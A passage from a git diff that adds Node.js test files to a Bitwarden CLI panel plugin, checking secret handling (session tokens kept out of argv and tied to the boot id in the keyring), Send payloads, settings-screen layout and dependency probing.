createSendCommand + exports.listSendsCommand = listSendsCommand + exports.deleteSendCommand = deleteSendCommand + exports.createItemCommand = createItemCommand + exports.editItemCommand = editItemCommand + exports.sessionEnvVar = sessionEnvVar + exports.statusCommand = statusCommand + exports.listCommand = listCommand + exports.syncCommand = syncCommand + exports.getItemCommand = getItemCommand + exports.getTotpCommand = getTotpCommand + exports.lockCommand = lockCommand + exports.deleteItemCommand = deleteItemCommand + exports.createFolderCommand = createFolderCommand + exports.listFoldersCommand = listFoldersCommand + exports.listOrganizationsCommand = listOrganizationsCommand + exports.terminalLoginCommand = terminalLoginCommand + exports.sessionHandoffReadCommand = sessionHandoffReadCommand + exports.extractSessionToken = extractSessionToken +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// --- the security property that motivated the env-based commands ------------ +// argv is world-readable via /proc on a default Linux box, so no secret may +// ever appear in a command line. +const sendCmd = Model.createSendCommand("SESSIONTOKEN")[2] +check("send create reads its payload from the environment", + sendCmd.includes('"$QSBW_SEND"') && /\|\s*base64 -w0\s*\|/.test(sendCmd), sendCmd) +check("send create carries no payload in argv", + !sendCmd.includes("password") && !sendCmd.includes("text"), sendCmd) + +const itemCmd = Model.createItemCommand({ organizationId: null }, "SESSIONTOKEN")[2] +check("item create reads its payload from the environment", + itemCmd.includes('"$QSBW_ITEM"'), itemCmd) +const editCmd = Model.editItemCommand("id-1", "SESSIONTOKEN")[2] +check("item edit reads its payload from the environment", + editCmd.includes('"$QSBW_ITEM"') && editCmd.includes("'id-1'"), editCmd) + +// --- payload --------------------------------------------------------------- +const p = Model.buildSendPayload("Name", "secret", true, 3, 5, "pw", "note") +check("payload sets the text and its hidden flag", + p.text.text === "secret" && p.text.hidden === true, JSON.stringify(p.text)) +check("deletionDate is days in the future, as an ISO string", + Math.abs(Date.parse(p.deletionDate) - (Date.now() + 3 * 86400000)) < 60000, p.deletionDate) +check("maxAccessCount of 0 means unlimited, sent as null", + Model.buildSendPayload("n", "t", false, 7, 0, "", "").maxAccessCount === null, "expected null") +check("an empty password is sent as null, not an empty string", + Model.buildSendPayload("n", "t", false, 7, 0, "", "").password === null, "expected null") +check("a blank name falls back rather than creating an unnamed Send", + Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name === "Untitled Send", + Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name) +for (const [days, lo, hi] of [[0, 1, 31], [999, 1, 31], [-5, 1, 31]]) { + const got = (Date.parse(Model.buildSendPayload("n", "t", false, days, 0, "", "").deletionDate) - Date.now()) / 86400000 + check(`deleteInDays=${days} clamps into [${lo}, ${hi}]`, got > lo - 1 && got < hi + 1, `got ~${got.toFixed(1)} days`) +} + +// --- parsing (shape taken from a real response) ----------------------------- +const listed = Model.parseSends(JSON.stringify([ + { id: "b", name: "Later", type: 0, accessUrl: "u2", accessCount: 1, maxAccessCount: 3, + deletionDate: "2026-09-01T00:00:00Z", passwordSet: false, text: { text: "x", hidden: false } }, + { id: "a", name: "Sooner", type: 1, accessUrl: "u1", accessCount: 0, maxAccessCount: null, + deletionDate: "2026-08-22T00:00:00Z", passwordSet: true, file: { fileName: "f.pdf" } }, +])) +check("sends are ordered by how soon they vanish", + listed.map(s => s.id).join(",") === "a,b", listed.map(s => s.id).join(",")) +check("type 1 is recognised as a file Send", + listed[0].isFile === true && listed[0].fileName === "f.pdf", JSON.stringify(listed[0])) +check("passwordSet is carried through as a boolean, and no password is exposed", + listed[0].passwordSet === true && !("password" in listed[0]), JSON.stringify(listed[0])) +check("malformed JSON yields an empty list", + Model.parseSends("{{").length === 0 && Model.parseSends("").length === 0, "expected []") + +// --- labels ----------------------------------------------------------------- +const at = t => Date.parse(t) +const mk = d => ({ deletionDate: d }) +check("a past deletion date reads as expired", + Model.sendExpiryLabel(mk("2026-08-20T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "expired", "expected expired") +check("hours are used under a day", + Model.sendExpiryLabel(mk("2026-08-21T05:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 5 hours", "expected 'in 5 hours'") +check("singular day is not pluralised", + Model.sendExpiryLabel(mk("2026-08-22T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 1 day", "expected 'in 1 day'") +check("a missing deletion date yields no label", + Model.sendExpiryLabel({}, Date.now()) === "", "expected empty") +check("unlimited access omits the maximum", + Model.sendAccessLabel({ accessCount: 2, maxAccessCount: null }) === "2 views", "expected '2 views'") +check("a capped Send shows the maximum", + Model.sendAccessLabel({ accessCount: 2, maxAccessCount: 5 }) === "2 of 5 views", "expected '2 of 5 views'") + + +// --- no bw command may carry the session token in argv ---------------------- +// /proc//cmdline is world-readable on a default Linux install, and the +// token grants full access to the unlocked vault. It goes in BW_SESSION. +check("the session env var is BW_SESSION, which bw reads natively", + Model.sessionEnvVar() === "BW_SESSION", Model.sessionEnvVar()) + +const builders = [ + ["statusCommand", () => Model.statusCommand()], + ["listCommand", () => Model.listCommand()], + ["listFoldersCommand", () => Model.listFoldersCommand()], + ["listOrganizationsCommand", () => Model.listOrganizationsCommand()], + ["listSendsCommand", () => Model.listSendsCommand()], + ["syncCommand", () => Model.syncCommand()], + ["lockCommand", () => Model.lockCommand()], + ["getItemCommand", () => Model.getItemCommand("id")], + ["getTotpCommand", () => Model.getTotpCommand("id")], + ["deleteItemCommand", () => Model.deleteItemCommand("id")], + ["deleteSendCommand", () => Model.deleteSendCommand("id")], + ["createFolderCommand", () => Model.createFolderCommand("f")], + ["createItemCommand", () => Model.createItemCommand({ organizationId: null })], + ["editItemCommand", () => Model.editItemCommand("id")], + ["createSendCommand", () => Model.createSendCommand()], +] +for (const [name, build] of builders) { + const argv = build().join(" ") + check(`${name} passes no --session flag`, !argv.includes("--session"), argv) +} + + +// --- terminal login handoff ------------------------------------------------- +const login = Model.terminalLoginCommand("login")[2] +const unlock = Model.terminalLoginCommand("unlock")[2] +const euLogin = Model.terminalLoginCommand("login", "https://vault.bitwarden.eu")[2] +check("terminal login runs in a terminal", login.includes("omarchy launch terminal"), login.slice(0, 80)) +check("it falls back to a second terminal if the first is unavailable", + login.includes("alacritty"), login.slice(0, 80)) +// --raw prints only the session key on stdout while prompts stay on stderr, +// which is what lets the key be captured without breaking the interactive login. +check("it captures the key with --raw", login.includes("--raw"), login.slice(0, 120)) +// The panel already knows which state it is in, so the terminal does not spend +// a `bw status` round trip (~3.3s here) working it out before prompting. +check("login mode runs bw login", login.includes("bw login --raw") && !login.includes("bw unlock"), login.slice(0, 200)) +check("unlock mode runs bw unlock", unlock.includes("bw unlock --raw") && !unlock.includes("bw login"), unlock.slice(0, 200)) +check("neither mode probes with bw status", + !login.includes("bw status") && !unlock.includes("bw status"), "expected no status probe") +check("an unknown mode falls back to login", + Model.terminalLoginCommand("")[2].includes("bw login --raw"), "expected login") +check("terminal login configures an explicitly selected region before authenticating", + euLogin.includes("bw config server") + && euLogin.includes("https://vault.bitwarden.eu") + && euLogin.indexOf("bw config server") < euLogin.indexOf("bw login --raw"), + euLogin.slice(0, 300)) +// Only the method name crosses the IPC boundary; the key never does. +check("a successful login reopens the panel", + login.includes("omarchy-shell io.github.elevate08.qs-bitwarden-cli open"), login.slice(0, 300)) +check("the session key is not passed over IPC", + !login.includes("open $f") && !login.includes("open \"$f\""), login.slice(0, 300)) +// The inner script appears twice -- once for the terminal, once for the +// alacritty fallback -- so count pauses against failure branches rather than +// assuming a single occurrence. +check("the user is only made to press a key when the login failed", + login.split("read -p").length === login.split("Not completed").length, + `${login.split("read -p").length - 1} pauses vs ${login.split("Not completed").length - 1} failure branches`) +check("a successful login closes the terminal on its own", + login.includes("Returning to the Bitwarden panel") && login.includes("sleep 1"), + "expected the success branch to close itself") +// The key is a secret at rest: tmpfs, user-only, gone when the session ends. +check("the handoff lives in XDG_RUNTIME_DIR, not on disk", + login.includes("XDG_RUNTIME_DIR"), login.slice(0, 120)) +check("the handoff is created with a restrictive umask", + login.includes("umask 077") && login.includes("chmod 700"), login.slice(0, 200)) +check("an incomplete login leaves nothing behind", + login.includes('rm -f'), login.slice(0, 300)) + +const read = Model.sessionHandoffReadCommand(true)[2] +check("the handoff is read once and removed with a byte limit", + read.includes("head -c") && read.includes("rm -f"), read) +check("an absent or empty handoff yields nothing", + read.includes("-s "), read) + +// The panel parses whatever the file holds through the same extractor it uses +// for unlock output, so a stray newline or an `export BW_SESSION=` line is fine. +check("a bare key is extracted intact", + Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789==") === "abcdefghijklmnopqrstuvwxyz0123456789==", + Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789==")) +check("an export line is unwrapped", + Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="') === "tok3n-value-that-is-long-enough==", + Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="')) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/session-boot.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/session-boot.test.js new file mode 100644 index 0000000..b9c8c84 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/session-boot.test.js @@ -0,0 +1,119 @@ +#!/usr/bin/env node +// The remembered session must not survive the machine it was minted on. +// +// These run the real shell scripts the panel executes, against a stand-in +// secret-tool, so what is checked is the behaviour and not a string. +// +// node tests/session-boot.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { execFileSync } = require("child_process") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.keyringStoreCommand = keyringStoreCommand + exports.keyringLookupCommand = keyringLookupCommand + exports.keyringClearCommand = keyringClearCommand + exports.keyringSecretEnvVar = keyringSecretEnvVar + exports.bootIdPath = bootIdPath +`)(Model) + +let pass = 0 +const failures = [] +const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`) + +// A stand-in for libsecret. Keeps the stored blob in a file, records every +// call, and can be told to refuse the session collection the way a secret +// service without one would. +const stub = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-keyring-")) +fs.writeFileSync(path.join(stub, "secret-tool"), `#!/usr/bin/env bash +set -uo pipefail +echo "$*" >> "$STUB/calls" +cmd="\${1:-}"; shift || true +collection="" +for a in "$@"; do case "$a" in --collection=*) collection="\${a#--collection=}" ;; esac; done +case "$cmd" in + store) + if [ "\${STUB_NO_SESSION_COLLECTION:-}" = "1" ] && [ "$collection" = "session" ]; then + cat >/dev/null; exit 1 + fi + cat > "$STUB/value"; printf '%s' "$collection" > "$STUB/collection"; exit 0 ;; + lookup) [ -s "$STUB/value" ] || exit 1; cat "$STUB/value"; exit 0 ;; + clear) rm -f "$STUB/value"; exit 0 ;; +esac +exit 1 +`) +fs.chmodSync(path.join(stub, "secret-tool"), 0o755) + +const TOKEN = "not-a-real-session-token" +const bootId = fs.readFileSync(Model.bootIdPath(), "utf8").trim() + +const reset = () => { + for (const f of ["value", "collection", "calls"]) fs.rmSync(path.join(stub, f), { force: true }) +} +const run = (command, extraEnv) => { + const env = Object.assign({}, process.env, { PATH: `${stub}:${process.env.PATH}`, STUB: stub }, extraEnv || {}) + return execFileSync(command[0], command.slice(1), { env, encoding: "utf8" }) +} +const stored = () => fs.existsSync(path.join(stub, "value")) + ? fs.readFileSync(path.join(stub, "value"), "utf8") : null +const calls = () => fs.existsSync(path.join(stub, "calls")) + ? fs.readFileSync(path.join(stub, "calls"), "utf8") : "" + +const secretEnv = { [Model.keyringSecretEnvVar()]: TOKEN } + +// --- storing --- +reset() +run(Model.keyringStoreCommand(), secretEnv) +check("the session is stored in the memory-only session collection", + fs.readFileSync(path.join(stub, "collection"), "utf8") === "session", + fs.readFileSync(path.join(stub, "collection"), "utf8")) +check("the stored blob carries the boot id that minted the session", + stored() === `${bootId} ${TOKEN}`, JSON.stringify(stored())) +check("the token still never reaches a command line", + !Model.keyringStoreCommand().join(" ").includes(TOKEN) && !calls().includes(TOKEN), + Model.keyringStoreCommand().join(" ") + " || " + calls()) + +// A secret service with no session collection must not cost the user the +// setting entirely -- the boot id is what enforces the lock either way. +reset() +run(Model.keyringStoreCommand(), Object.assign({ STUB_NO_SESSION_COLLECTION: "1" }, secretEnv)) +check("a service without a session collection falls back to the default one", + fs.readFileSync(path.join(stub, "collection"), "utf8") === "" && stored() === `${bootId} ${TOKEN}`, + JSON.stringify(stored())) + +// --- looking up on the same boot --- +reset() +run(Model.keyringStoreCommand(), secretEnv) +check("a session from this boot is handed back, boot id stripped", + run(Model.keyringLookupCommand()) === TOKEN, JSON.stringify(run(Model.keyringLookupCommand()))) +check("a usable session is left in the keyring", + stored() !== null, "expected the entry to survive a lookup") + +// --- looking up after a reboot --- +reset() +fs.writeFileSync(path.join(stub, "value"), `11111111-2222-3333-4444-555555555555 ${TOKEN}`) +check("a session from another boot is not handed back", + run(Model.keyringLookupCommand()) === "", JSON.stringify(run(Model.keyringLookupCommand()))) +check("a session from another boot is cleared out of the keyring", + stored() === null, JSON.stringify(stored())) + +// An entry written before the boot id existed has no provenance at all, so it +// gets the same treatment rather than the benefit of the doubt. +reset() +fs.writeFileSync(path.join(stub, "value"), TOKEN) +check("a bare pre-boot-id entry is refused and cleared", + run(Model.keyringLookupCommand()) === "" && stored() === null, JSON.stringify(stored())) + +// --- nothing to find --- +reset() +check("an empty keyring is not an error, so the panel falls through to bw status", + run(Model.keyringLookupCommand()) === "", "expected empty output and exit 0") + +fs.rmSync(stub, { recursive: true, force: true }) + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) } diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/settings-screen.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/settings-screen.test.js new file mode 100644 index 0000000..6bdfd53 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/settings-screen.test.js @@ -0,0 +1,267 @@ +#!/usr/bin/env node +// The settings screen's structure -- what is pinned, what scrolls, how its +// sections are drawn -- and the one invariant that is panel-wide rather than +// settings-only: every scrolling view keeps its content clear of its own +// scrollbar. +// +// node tests/settings-screen.test.js + +const fs = require("fs") +const path = require("path") + +const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8") + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +// The settings screen, from its wrapper Column to the end of the Flickable. +const screenAt = panelSrc.indexOf("id: settingsScreen") +const flickAt = panelSrc.indexOf("id: settingsFlick") +const colAt = panelSrc.indexOf("id: settingsCol") +const screen = screenAt < 0 ? "" : panelSrc.slice(screenAt, panelSrc.indexOf("SCREEN 1", screenAt)) + +const shieldAt = panelSrc.indexOf("id: shieldIconComp") +const statusBarAt = panelSrc.indexOf("// Status Bar Button", shieldAt) +const shield = shieldAt < 0 ? "" : panelSrc.slice(shieldAt, statusBarAt) + +// --- colorized menu-bar icon ------------------------------------------------ + +check("colorized icon reads the persisted boolean setting", + /readonly property bool colorizeIcon: Model\.boolSetting\("colorizeIcon", setting\("colorizeIcon", false\)\)/.test(panelSrc), + "expected a false-safe colorizeIcon setting property") + +check("colorized icon uses the theme accent only when enabled", + /color:\s*root\.colorizeIcon \? Color\.accent : \(bar \? bar\.barForeground : Color\.foreground\)/.test(shield), + "expected the primary shield to select Color.accent or its existing foreground") + +check("colorized icon leaves status badges independent", + shield.includes("color: bar ? bar.urgent : Color.urgent") + && shield.includes("color: bar ? bar.barForeground : Color.foreground"), + "expected urgent and locked badge colors to remain independently bound") + +check("panel-open indicator keeps Omarchy's standard width", + !panelSrc.includes("openPanelIndicatorWidth"), + "expected no plugin-specific width override for the panel-open indicator") + +check("custom shield corrects its painted side bearings", + shield.includes("id: shieldGlyphMetrics") + && shield.includes("shieldGlyphMetrics.tightBoundingRect") + && shield.includes("anchors.horizontalCenterOffset"), + "expected corrected painted side bearings on the shield") + +// The centering above is what aligns the glyph with the panel-open indicator; +// the renderer is not part of it -- both put the painted center on the same +// pixel at scale 1.3333. QtRendering additionally drew saturated colour along +// the glyph edges, which no other icon in the bar has, so the shield renders +// the way the rest of Omarchy does. +check("shield renders the way the rest of the bar does", + shield.includes("renderType: Text.NativeRendering") + && !shield.includes("renderType: Text.QtRendering"), + "expected the shield to use Text.NativeRendering, as Omarchy's own glyphs do") + +check("the settings screen has a wrapper outside the scroll area", screenAt >= 0, + "expected a settingsScreen Column") + +// --- what must not scroll away ----------------------------------------------- + +check("the way out is pinned, not scrolled", + screenAt < flickAt && screen.indexOf('text: "Back (Esc)"') < screen.indexOf("id: settingsFlick"), + "the Back button must sit above the Flickable, not inside settingsCol") + +check("the pinned section indicator is also above the scroll area", + screen.indexOf("id: stickySection") >= 0 + && screen.indexOf("id: stickySection") < screen.indexOf("id: settingsFlick"), + "stickySection must be outside the Flickable") + +check("the scrolling column no longer draws its own Back button", + panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') < 0 + || panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') > panelSrc.slice(colAt).indexOf("SCREEN 1"), + "settingsCol still contains a Back button") + +// The section name goes left, the way out goes right. +check("the section indicator anchors left and the exit anchors right", + /id: stickySection[\s\S]{0,200}anchors\.left: parent\.left/.test(screen) + && screen.indexOf("anchors.right: parent.right") < screen.indexOf('text: "Back (Esc)"') + && screen.indexOf("anchors.right: parent.right") > screen.indexOf("id: stickySection"), + "expected section on the left, Back on the right") + +// --- the pinned indicator tracks the scroll ---------------------------------- + +check("the indicator is recomputed as the view scrolls", + /onContentYChanged: root\.updateSettingsSticky\(\)/.test(panelSrc), + "scrolling must update which section the bar names") + +check("and when folding changes what is in the list", + /onContentHeightChanged: Qt\.callLater\(root\.updateSettingsSticky\)/.test(panelSrc), + "a fold changes contentHeight and must re-run the check after layout") + +check("the indicator is held rather than bound", + /property var settingsStickyEntry: null/.test(panelSrc), + "it depends on delegate geometry, which a binding cannot read without fighting layout") + +// The bar names the section the view is inside, including at rest -- an empty +// bar on the one position everybody starts from is worse than a redundant one. +// Duplication is prevented at the other end instead: the in-list heading of +// the section the bar names is drawn transparent. +check("the bar names a section from the top of the list, before any scrolling", + /if \(row\.y > top \+ 1\) break/.test(panelSrc), + "a heading at the top edge is the section the view is in") + +check("the in-list heading yields to the bar rather than drawing alongside it", + /readonly property bool yieldsToBar: isGroup[\s\S]{0,140}root\.settingsStickyEntry\.group === modelData\.group/.test(panelSrc), + "the pinned section's own heading must not be drawn twice") + +// Going transparent hid the ink and kept the space, which left a +// heading-sized hole directly under the bar. It gives up the row instead. +check("it yields its space, not just its ink", + /visible: isGroup && !yieldsToBar/.test(panelSrc) + && !/opacity: \(root\.settingsStickyEntry/.test(panelSrc), + "a transparent row leaves a gap where the heading was") + +check("the gap above it goes too", + /visible: isGroup && index > 0 && !yieldsToBar/.test(panelSrc), + "the spacer above a hidden heading would leave a smaller hole in its place") + +// Exactly one heading is ever yielding, so the content height is constant: +// the one taking over collapses as the previous one is restored. +check("only the pinned section's heading yields, so the height stays constant", + /Exactly one heading is ever in this state/.test(panelSrc), + "expected the reasoning recorded where the next reader will be standing") + +check("and only while part of that section is still on screen", + /if \(top < settingsSectionEnd\(i\)\)/.test(panelSrc), + "past the end of a section the bar must let go of it") + +check("a section's extent is the next heading, or the last row for the final one", + /function settingsSectionEnd\(index\)/.test(panelSrc) + && /if \(next\) return next\.y/.test(panelSrc) + && /if \(last\) return last\.y \+ last\.height/.test(panelSrc), + "expected both the between-headings and the final-section cases") + +// The trailing maintenance and danger-zone blocks are not foldable sections. +// Leaving the last group pinned through them would offer to fold something the +// user had scrolled past and could no longer see. +check("the bar empties rather than naming a section that is no longer in view", + /var found = null/.test(panelSrc) + && !/if \(!found\) \{/.test(panelSrc), + "there must be no fallback that forces a section into an empty bar") + +// --- the sections are not foldable ------------------------------------------ +// +// They were, for a few commits. Three groups of three, seven and four rows do +// not need folding, and a fold is one more state to be in and one more thing +// to leave shut by accident. These assertions exist so it does not creep back +// halfway -- a chevron with nothing behind it, or a heading that swallows a +// click. + +check("no collapse state is kept", + !/collapsedGroups/.test(panelSrc), "settings sections are not foldable") + +check("headings are not controls", + !/toggleSettingsGroup|toggleStickySettingsGroup/.test(panelSrc), + "a heading that folds nothing must not accept a click") + +check("the pinned indicator carries no chevron or count", + !/settingsStickyEntry\.collapsed|settingsStickyEntry\.count/.test(panelSrc), + "the bar names the section and nothing more") + +// A heading is in the list so the indicator has geometry to read, but it is +// not something the cursor can act on -- stopping there and doing nothing on +// Enter is worse than stepping over it. +check("the keyboard cursor steps over headings", + /while \(i >= 0 && i < n && settingsEntries\[i\] && settingsEntries\[i\]\.kind === "group"\) i \+= step/.test(panelSrc), + "expected the cursor to skip group rows") + +check("the screen opens on a setting, not on a heading", + /settingsIndex = firstSettingIndex\(\)/.test(panelSrc), + "the first row in the list is a heading") + +check("activation and adjustment have no group case left", + !/e\.kind === "group"/.test(panelSrc), + "the cursor can no longer land on a heading, so neither needs to handle one") + +// --- geometry access is funnelled --------------------------------------------- + +check("view geometry is reached through named helpers, not ids scattered about", + /function settingsViewportTop\(\)/.test(panelSrc) + && /function settingsRepeaterItem\(i\)/.test(panelSrc), + "expected settingsViewportTop and settingsRepeaterItem") + +check("both helpers survive being called before the view exists", + /return settingsFlick \? settingsFlick\.contentY : 0/.test(panelSrc) + && /return settingsRepeater \? settingsRepeater\.itemAt\(i\) : null/.test(panelSrc), + "openSettings runs before the screen is built") + +// --- every scrollbar gets a lane of its own ---------------------------------- +// +// These bars are overlays. Left alone each one draws on top of whatever is at +// the right edge of its view -- toggles, number fields, copy buttons, the ends +// of elided text. Every scrolling view subtracts one shared gutter, so no bar +// covers a control and the right-hand edges line up across screens. + +check("the gutter is measured from a real scrollbar, not guessed", + /settingsScrollBar \? settingsScrollBar\.implicitWidth : 0/.test(panelSrc), + "a theme with a wider bar would put it back over the controls") + +check("the gutter has a floor for a null bar and for the frames before layout", + /Math\.max\(settingsScrollBar[\s\S]{0,120}Style\.space\(10\)\)/.test(panelSrc), + "expected a minimum gutter") + +// Every scrolling view in the panel, by the id its content width is bound to. +const scrollViews = [ + "sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick", + "filterOptionsList", "detailFlickable", "editFlickable", + "folderPickList", "orgPickList", "collectionList", +] +for (const view of scrollViews) { + check(`${view} keeps its content clear of the scrollbar`, + new RegExp(`width: ${view}\\.width - root\\.scrollGutter`).test(panelSrc), + `${view} content runs under its own scrollbar`) +} + +// The vault list is a ListView, so its delegate takes the width directly +// rather than through a content column. +check("the vault list's rows keep clear of the scrollbar too", + /width: ListView\.view\.width - root\.scrollGutter/.test(panelSrc), + "the item rows run under the bar") + +check("every scrolling view is accounted for", + (panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length + 1, + `${(panelSrc.match(/ScrollBar\.vertical:/g) || []).length} scrollbars for ${scrollViews.length} views plus the list`) + +check("the pinned settings row is inset to match its rows", + /anchors\.rightMargin: root\.scrollGutter/.test(panelSrc), + "Back would otherwise overhang every control beneath it") + +// Heading rows carry no description and no zeroLabel, and QML evaluates the +// bindings of invisible items, so these ran for every heading in the list. +check("bindings that also run for heading rows tolerate the missing fields", + /\(modelData\.description \|\| ""\)/.test(panelSrc) + && /\(modelData\.zeroLabel \|\| ""\)/.test(panelSrc), + "undefined reaching a QString property is a warning on every frame") + +// --- the danger zone ---------------------------------------------------------- + +check("destructive actions are separated from maintenance ones", + /text: "MAINTENANCE"/.test(panelSrc) && /text: "DANGER ZONE"/.test(panelSrc), + "expected both headings") + +check("the danger heading is drawn in the urgent colour", + /text: "DANGER ZONE"[\s\S]{0,120}foreground: Color\.urgent/.test(panelSrc), + "a destructive section should not look like every other heading") + +check("the danger zone is set off by a separator", + /PanelSeparator \{ width: parent\.width \}\s*\n\s*\n?\s*PanelSectionHeader \{[\s\S]{0,120}DANGER ZONE/.test(panelSrc), + "expected a rule above the destructive section") + +check("Remove Plugin Data sits under the danger heading, not beside Dependencies", + panelSrc.indexOf('text: "DANGER ZONE"') < panelSrc.indexOf('text: "Remove Plugin Data"') + && panelSrc.indexOf('text: "Dependencies"') < panelSrc.indexOf('text: "DANGER ZONE"'), + "ordering puts the destructive button in the wrong section") + +console.log(`${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/setup-settings.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/setup-settings.test.js new file mode 100644 index 0000000..59ab9c6 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/setup-settings.test.js @@ -0,0 +1,372 @@ +#!/usr/bin/env node +// Tests for the setup wizard's dependency probe and the settings writer. +// +// The interesting cases are the ones that cannot be exercised on a machine +// where everything is already installed: a missing required tool, and fprintd +// being present but having no enrolled finger. +// +// node tests/setup-settings.test.js + +const fs = require("fs") +const path = require("path") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseDependencies = parseDependencies + exports.missingRequired = missingRequired + exports.dependencyCheckCommand = dependencyCheckCommand + exports.vaultListMode = vaultListMode + exports.vaultListBlockedMessage = vaultListBlockedMessage + exports.vaultListFailureMessage = vaultListFailureMessage + exports.sshCliMinVersion = sshCliMinVersion + exports.sshCliSupport = typeof sshCliSupport === "function" ? sshCliSupport : null + exports.sshUiAvailable = sshUiAvailable + exports.settingWriteCommand = settingWriteCommand + exports.boolSetting = boolSetting + exports.installPackagesCommand = installPackagesCommand + exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA + exports.DEPENDENCIES = DEPENDENCIES + exports.groupedSettings = groupedSettings + exports.SETTINGS_GROUPS = SETTINGS_GROUPS + exports.validatePin = validatePin + exports.pinMinLength = pinMinLength + exports.pinRecommendedLength = pinRecommendedLength + exports.pinWeakWarning = pinWeakWarning + exports.isPinWeak = isPinWeak + exports.pinStoreCommand = pinStoreCommand + exports.pinUnlockCommand = pinUnlockCommand +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const byKey = (deps, k) => deps.items.find(d => d.key === k) +const dependencyProbe = Model.dependencyCheckCommand()[2] +const sshCliSupport = (version) => typeof Model.sshCliSupport === "function" + ? Model.sshCliSupport(version) + : "__missing__" + +// --- everything present ----------------------------------------------------- +const all = Model.parseDependencies( + "bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("all present: nothing required is missing", + Model.missingRequired(all).length === 0, + `got [${Model.missingRequired(all).map(d => d.key)}]`) +check("all present: fprintd reported ready", byKey(all, "fprintd").ready === true, "expected ready") +check("jq is a required dependency alongside bw", + byKey(all, "jq") && byKey(all, "jq").required === true && byKey(all, "jq").pkg === "jq", + JSON.stringify(byKey(all, "jq"))) +check("the dependency probe checks for jq before vault reads", + dependencyProbe.includes("command -v jq"), + dependencyProbe) +check("the dependency probe captures the bw CLI version for SSH gating", + /bw\s+--version|bw\s+-v/.test(dependencyProbe), + dependencyProbe) +check("sshCliMinVersion reports the verified floor", + Model.sshCliMinVersion() === "2025.1.2", + String(Model.sshCliMinVersion())) +check("sshCliSupport marks 2025.1.2 as supported", + sshCliSupport("2025.1.2") === "supported", + JSON.stringify(sshCliSupport("2025.1.2"))) +check("sshCliSupport marks 2025.1.1 as unsupported", + sshCliSupport("2025.1.1") === "unsupported", + JSON.stringify(sshCliSupport("2025.1.1"))) +check("sshCliSupport treats malformed versions as unknown", + sshCliSupport("development-build") === "unknown", + JSON.stringify(sshCliSupport("development-build"))) +check("sshCliSupport treats a missing version as unknown", + sshCliSupport("") === "unknown", + JSON.stringify(sshCliSupport(""))) +check("SSH surfaces stay hidden until the probe confirms a supported CLI", + Model.sshUiAvailable(all, true) === true + && Model.sshUiAvailable(all, false) === false, + JSON.stringify({ checked: Model.sshUiAvailable(all, true), unchecked: Model.sshUiAvailable(all, false) })) +const oldCli = Model.parseDependencies( + "bw=1\nbw_version=2025.1.1\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("an unsupported CLI hides SSH but still reports why on the bw row", + Model.sshUiAvailable(oldCli, true) === false + && byKey(oldCli, "bw").note.includes("2025.1.2") + && byKey(oldCli, "bw").note.includes("2025.1.1"), + JSON.stringify(byKey(oldCli, "bw"))) +const unreadableCli = Model.parseDependencies( + "bw=1\nbw_version=development-build\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=1\nomarchy=1") +check("an unreadable CLI version hides SSH rather than assuming support", + Model.sshUiAvailable(unreadableCli, true) === false + && unreadableCli.sshCliStatus === "unknown" + && byKey(unreadableCli, "bw").note !== "", + JSON.stringify({ status: unreadableCli.sshCliStatus, bw: byKey(unreadableCli, "bw") })) + +check("bw version metadata is preserved for feature gating", + byKey(all, "bw") && byKey(all, "bw").version === "2025.1.2" && all.sshCliStatus === "supported", + JSON.stringify({ bw: byKey(all, "bw"), sshCliStatus: all.sshCliStatus })) + +// --- the case that matters: a required tool is absent ----------------------- +const noBw = Model.parseDependencies( + 